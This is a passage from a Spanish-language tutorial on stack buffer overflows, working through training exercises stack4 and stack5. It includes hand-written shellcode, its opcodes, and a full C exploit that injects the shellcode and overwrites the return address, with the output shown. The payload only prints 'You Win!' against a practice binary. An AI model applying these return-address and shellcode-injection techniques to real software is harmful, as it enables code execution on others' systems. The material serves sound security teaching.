Fijémonos un poco en el listado2, ahí vemos el bloque de instrucciones que van de la dirección 0x080483f0 a 0x080483ff, que hace esa parte de código? Pues si nos fijamos primero tenemos un "jne" (JumpIfNotEqual) con lo que intuimos que esa es la comprobación del "if", nosotros queremos saltarla, pues la saltamos e iremos a la siguiente instrucción que se encuentra en la dirección: En esta dirección se preparan los args del printf y justo después llamamos a printf usando call. Nosotros queremos imprimir "You win!", esta cadena esta definida en el propio programa y queremos que sea la que imprima, por lo tanto debemos redirigir el flujo de ejecución a la dirección: 0x080483f2. Ya que es donde se "configura" el printf con sus argumentos. Si redirigéramos el flujo justo encima de la instrucción "call", en la pila no estarían los argumentos apropiados, de manera que lo mas probable es que intentará leer de una posición a la cual no tiene acceso o simplemente no existe, así que daría un "SegFault".

Modificando RET

Ahora que ya sabemos a que dirección queremos saltar solo necesitamos sobreescribirla, para hacerlo, no necesitamos saber la dirección exacta de la dirección de retorno en la pila, basta con sobreescribirla con el valor correcto. Por lo tanto lo más sencillo que podemos hacer es rellenar todo el buffer que generará el desbordamiento con la dirección a la que queremos saltar, así seguro que acertamos. Veamos que modificaciones debemos aplicar al programa.

Modificando el exploit

Partiendo del exploit que hemos usado antes, vamos a poner un "for", que nos rellena un tamaño considerable de la cadena "sc", como os habréis dado cuenta, si usamos una cadena de 92 bytes, solo sobreescribiremos cookie, pero nosotros queremos sobreescribir aun mas lejos, así que haremos un string de un tamaño considerable para que sobreescriba mucha memoria, no es una forma elegante, pero funciona :). Así que las modificaciones se pondrán a la hora de generar la string, veamos como la generaremos ahora: De esta manera antes de leer el stdin, "stack4" tendrá la stack de la siguiente manera: Una vez leída la cadena, la pila tendrá el aspecto siguiente: Recordad que lo añadimos al revés por el Little-Endian. Ahora vemos claramente que toda la pila queda llena de nuestra dirección, veamos que pasará al ejecutar nuestro programa: Ahí lo tenemos, nos acabamos de saltar un "if" por todo el morro jeje. Esto es solo una pequeña parte de lo que podemos hacer con los Overflow, ahora veréis uno más parecido al funcionamiento de los exploits reales de la red :).

Stack5.c

Vamos ahora a por el siguiente ejercicio, el "stack5.c", como vemos en el código2 el valor de cookie es el mismo, veamos que pasa si usamos el exploit que hemos creado para "stack4": Juas!, era de esperar, pues ahora en el código original pone "you loose!" en vez del "you win!". Como haremos entonces para poder imprimir la sentencia "you win!" si no nos aparece en el código? Como siempre la respuesta es sencilla, ahora que sabemos que podemos modificar la dirección de retorno del programa, que tal si hacemos que apunte a un código que imprima la cadena "you win!" hecho por nosotros? Pues, exacto, imprimirá "you win!". Pues bien, vayamos a ello :).

Haciendo el código a ejecutar

Supongo que todos sabréis lo que es un código shell (ShellCode), para los que no lo sepan, les digo que es un código que se utiliza para ejecutar código arbitrario en un programa explotado (normalmente se ejecuta una shell, de ahí el nombre), este código se debe escribir en ensamblador, veamos nuestra shellcode en el listado3, si tenéis dificultades en entender lo que hace, aprender algo de ASM básico en Linux. Antes decir que la shellcode esta hecha en "nasm", veamos como ejecutarla: Como vemos funciona a la perfección. Así que ya tenemos nuestro pequeño código en ensamblador encargado de ejecutar el "write". Vayamos a prepararlo para que pueda ser inyectado en memoria, para ello primero hay que desensamblarlo, para ello usaremos "objdump" con la opción "-D" ("disassemble-all"), en el listado4 tenéis la salida del comando. Luego deberemos modificar el exploit para nuestros propósitos, para ello haremos lo siguiente:

1. Desensamblamos el código para encontrar los OpCodes (Códigos de Operación).
2. Formar con ellos un string (ShellCode).
3. Cambiar alguna dirección (como la de la lectura de la string a imprimir).
4. Finalmente rellenaremos el resto del buffer con la dirección al inicio de la ShellCode para que esta sea ejecutada al terminar el programa.

 DireccionMemoria:	OpCodes    	Instrucción en ASM at&t

 unsigned char
  write_code[]="You Win!\x09"
    "\x90\x90"
    "\xfe\x05\xc8\xf4\xff\xbf" //incb   0xbffff4c8   (dirección de 0x09)
    "\xb8\x04\x00\x00\x00"     //mov   $0x4,%eax
    "\xbb\x01\x00\x00\x00"     //mov   $0x1,%ebx
    "\xba\x09\x00\x00\x00"     //mov   $0x9,%edx
    "\xb9\xc0\xf4\xff\xbf"     //mov   $bffff4c0,%ecx
    "\xcd\x80";		          //int   $0x80

DireccionInicioBuf + 9 (Numero de carácteres hasta el 0x09)

DireccionInicioBuffer+BytesHastaInicioShellCode(9)

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>

main()
{
    unsigned char
	write_code[]="You Win!\x09"
	"\x90\x90"
	"\xfe\x05\xc8\xf4\xff\xbf" //incb   0xbffff4c8 (direccion de 0x09)
	"\xb8\x04\x00\x00\x00"     //mov    $0x4,%eax
	"\xbb\x01\x00\x00\x00"     //mov    $0x1,%ebx
	"\xba\x09\x00\x00\x00"     //mov    $0x9,%edx
	"\xb9\xc0\xf4\xff\xbf"	   //mov    $bffff4c0,%ecx
	"\xcd\x80";	               //int	$0x80

	char sc[1024];
	int pipes[2];
	int size;
	pid_t pidchild;
	int i;
	size=sizeof(write_code);

	//Copiamos al inicio del buffer el código de la shellCode
	memcpy(sc,write_code,size);

	//bffff4c0+9 (de la string) = bffff4c9
	for( i=size ; i< 200; i+=4){
		sc[i+3]='\xbf';
		sc[i+2]='\xff';
		sc[i+1]='\xf4';
		sc[i]='\xc9';
	}

	sc[i]='\n';

	pipe(pipes);
	fprintf(stderr,"eXploiting stack5\n");
	if( !(pidchild=fork()) ){ //devuelve el PID

		close(pipes[1]); //cerramos la salida de la pipe,
				 //porque de aqui solo queremos leer

		dup2(pipes[0],0); //todo lo que entre en pipe,
				 //lo queremos poner al stdin

		close(pipes[0]); //cerramos el pipe de entrada,
				 //porque ya lo hemos copiado

		execl("./stack5",NULL);
	}

	close(pipes[0]);  //cerramos la entrada de la pipe,
			  //porque de aqui solo queremos escribir

	dup2(pipes[1],1); //todo lo que escribamos en stdout,
			  //lo escribiremos en la pipe de escritura

	close(pipes[1]);  //cerramos la pipe de escritura,
			  //ya que ahora se hace referencia a ella por stdout

	write(1,sc,1024); //Al haver el "0x00" se korta el strlen,
			  //y por eso ponemos el tamaño de otra manera

	waitpid(pidchild,0,0); //esperamos a que termine el hijo
	exit(0);

}

ss@LynaXa stack5 $ ./xpl
eXploiting stack5
buf: bffff4c0 cookie: bffff51c
You Win!
ss@LynaXa stack5 $